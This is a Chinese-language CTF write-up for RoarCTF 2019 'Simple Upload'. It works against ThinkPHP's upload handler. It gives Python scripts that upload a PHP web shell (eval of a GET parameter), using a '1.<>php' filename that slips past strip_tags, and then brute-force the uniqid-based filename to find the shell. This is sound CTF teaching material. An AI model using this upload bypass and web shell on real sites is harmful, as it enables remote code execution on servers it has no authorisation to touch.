[RoarCTF 2019]Simple Upload
知识点:
- tp默认上传目录:
index.php/home/index/upload
- tp支持多个文件上传
- tp上传默认命名方式受时间控制
uniqid()函数
- 通过脚本发送上传文件的请求
题解:
tp文件上传时的文件名的核心处理
foreach ($files as $key => $file) {
$file['name'] = strip_tags($file['name']);
if(!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if(isset($finfo)){
$file['type'] = finfo_file ( $finfo , $file['tmp_name'] );
}
strip_tags():
去除PHP标签和HTML标签
import requests
url = "http://4835f395-9d0d-4192-a437-dc3f6105e9ca.node5.buuoj.cn:81/index.php/home/index/upload"
files={'file':('1.<>php',"<?php eval($_GET['cmd'])?>")}
r=requests.post(url=url,files=files)
print(r.text)
上传txt文件,php木马,txt文件,通过两个txt文件返回的文件名时间区间,爆破得到php木马文件的文件名
# import requests
# url = 'http://8cb4d947-ebbf-4017-8123-0b42190d8ba0.node5.buuoj.cn:81/index.php/Home/index/upload'
# file1 = {'file':open("E:\\OneDrive\\桌面\\1.txt",'r')}
# file2 = {'file[]':open("E:\\OneDrive\\桌面\\1.php",'r')}#upload()不传参时即是批量上传所以用[]
# r = requests.post(url,files = file1)
# print(r.text)
# r = requests.post(url,files = file2)
# print(r.text)
# r = requests.post(url, files = file1)
# print(r.text)
import requests
str='0123456789abcdef'
for i in str:
for j in str:
for k in str:
for o in str:
for p in str:
for q in str:
url = "http://8cb4d947-ebbf-4017-8123-0b42190d8ba0.node5.buuoj.cn:81/Public/Uploads/2024-09-09/66dec1a"+i+j+k+o+p+q+".php"
r = requests.get(url)
print(url)
if r.status_code == 200:
print(url)
break